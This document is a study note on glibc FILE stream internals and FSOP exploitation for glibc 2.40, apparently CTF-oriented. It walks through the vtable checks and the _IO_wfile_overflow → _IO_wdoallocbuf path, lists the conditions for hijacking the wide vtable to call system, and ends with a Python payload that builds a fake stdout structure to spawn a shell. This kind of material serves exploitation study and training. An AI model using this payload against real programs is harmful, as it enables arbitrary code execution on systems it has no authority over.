File Structure Note
FILE Structure
FILE Structs in glibc
- _IO_FILE_PLUS structure

source
1 | struct _IO_FILE_plus |
- _IO_FILE
https://elixir.bootlin.com/glibc/glibc-2.40/source/libio/bits/types/struct_FILE.h#L49
1 | struct _IO_FILE |
- _IO_jump_t
https://elixir.bootlin.com/glibc/glibc-2.40/source/libio/libioP.h#L294
1 | struct _IO_jump_t |
- _IO_FILE_complete
https://elixir.bootlin.com/glibc/glibc-2.40/source/libio/bits/types/struct_FILE.h#L85
1 | struct _IO_FILE_complete |
- _IO_FILE_complete_plus
https://elixir.bootlin.com/glibc/glibc-2.40/source/libio/libioP.h#L335
1 | struct _IO_FILE_complete_plus |
- Magic Numbers
1 | /* Magic number and bits for the _flags field. The magic number is |
how vtable call function?
- example:
_IO_doallocate
expand the macro
https://elixir.bootlin.com/glibc/glibc-2.40/source/libio/libioP.h#L222
https://elixir.bootlin.com/glibc/glibc-2.40/source/libio/libioP.h#L124
1 |
https://elixir.bootlin.com/glibc/glibc-2.40/source/libio/libioP.h#L108
1 |
in libc 2.24+ IO_validate_vtable will check if the vtable is legal (RO vtable section)
https://elixir.bootlin.com/glibc/glibc-2.40/source/libio/libioP.h#L1022
1 | IO_validate_vtable (const struct _IO_jump_t *vtable) |
FSOP
before glibc 2.34 just do malloc/free hook hijack
but in newer versions it was not been used anymore
_IO_wfile_overflow() → _IO_wdoallocbuf()
- glibc 2.40
- craft fake
_IO_2_1_stdout_

vfprintf_internal
https://elixir.bootlin.com/glibc/glibc-2.40/source/stdio-common/vfprintf-internal.c#L1521
1 | int |
from done = Xprintf(buffer_to_file_done) (&wrap);
jump to __printf_buffer_to_file_done
__printf_buffer_to_file_done
https://elixir.bootlin.com/glibc/glibc-2.40/source/stdio-common/printf_buffer_to_file.c#L116
1 | int |
__printf_buffer_flush_to_file
https://elixir.bootlin.com/glibc/glibc-2.40/source/stdio-common/printf_buffer_to_file.c#L48
1 | void |

wanted to call _IO_sputn which is vtable+0x38 but we can lead it into _IO_wfile_overflow also a legal segment


_IO_wfile_overflow
https://elixir.bootlin.com/glibc/glibc-2.40/source/libio/wfileops.c#L406
1 | wint_t |
our final target is to call _IO_wdoallocbuf that we can control the fake vtable without checking the vtable
rdi is the _flags also used as the system parameter
_flags & _IO_NO_WRITES== 0
*rdi & 0x8 = 0

_flags & _IO_CURRENTLY_PUTTING== 0
*rdi & 0x0800 = 0_wide_data->_IO_write_base== 0_wide_data+0x28= 0
example: 0x00007ffff7fb3560+0x28=0
_IO_wdoallocbuf
https://elixir.bootlin.com/glibc/glibc-2.40/source/libio/wgenops.c#L364
1 | void |
fp->_wide_data->_IO_buf_base==0_wide_data+0x40=0_flags & _IO_UNBUFFERED==0*rdi & 0x0002= 0call _IO_WDOALLOCATE (fp)
which is_wide_data->_wide_vtable->_IO_doallocate_t
hijack it into system function*(*(_wide_data+0xe0)+0x68)=system
call system(_flags)
final exploit
summarize the requirements
*vtable=_IO_wfile_overflow-0x38, change the offset depend on the function it going to call-0x38is_IO_sputn_flags & 0x8= 0_flags & 0x800= 0_flags & 0x2= 0_wide_data+0x28= 0_wide_data+0x40= 0*(*(_wide_data+0xe0)+0x68)=system_mode=0xffffffff
fake _IO_2_1_stdout_
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41def libc(adr):
offset = adr - 0x7FFFF7DC9000
return libcbase + offset
# fsop
# *(_IO_2_1_stdout+0xa0) __wide_data
# 0xe0 wide_vtable
# 0x68 _IO_wdoallocbuf()
#
#
# _flags & 0x8 = 0
# _flags & 0x800 = 0
# _flags & 0x2 = 0
# _wide_data+0x28 = 0
# _wide_data+0x40 = 0
# *(*(_wide_data+0xe0)+0x68)=system
# _mode=0xffffffff
_803 = heapbase + 0x2A0
_804 = heapbase + 0x6A0 # _IO_buf_base
system = libcbase + 0x000000000002F2D0
vtable = p64(libc(0x7FFFF7FB1240 - 0x38))
_wide_data_vtable = libc(0x7FFFF7FB3670 - 0x68) # system - 0x68
_wide_data = libc(0x7FFFF7FB3640 - 0xE0)
fsop_payload = p64(0) * 2
fsop_payload += b" sh u*/[" + p64(0)
fsop_payload += p64(_803) * 6 + p64(_804) + p64(0) * 4
fsop_payload += p64(libc(0x00007FFFF7FB28E0)) # copy from original vtable
fsop_payload += p64(1) + p64(0xFFFFFFFFFFFFFFFF) # copy from original vtable
fsop_payload += p64(_wide_data_vtable) + p64(
libc(0x00007FFFF7FB4770)
) # copy from original vtable
fsop_payload += p64(0xFFFFFFFFFFFFFFFF) + p64(0)
fsop_payload += p64(_wide_data) + p64(0)
fsop_payload += p64(system) + p64(libcbase + 0x1EA548) # copy from original
fsop_payload += p32(0xFFFFFFFF) + p32(0) + p64(0) # _mode = -1 narrow character _mode
fsop_payload += p64(0) + vtable # vtable
References
https://www.cnblogs.com/LynneHuan/p/17822091.html#利用_io_wfile_overflow函数控制程序执行流
https://hackmd.io/@naup96321/SyvhbZWYR
https://tttang.com/archive/1345/
https://www.mrskye.cn/archives/221/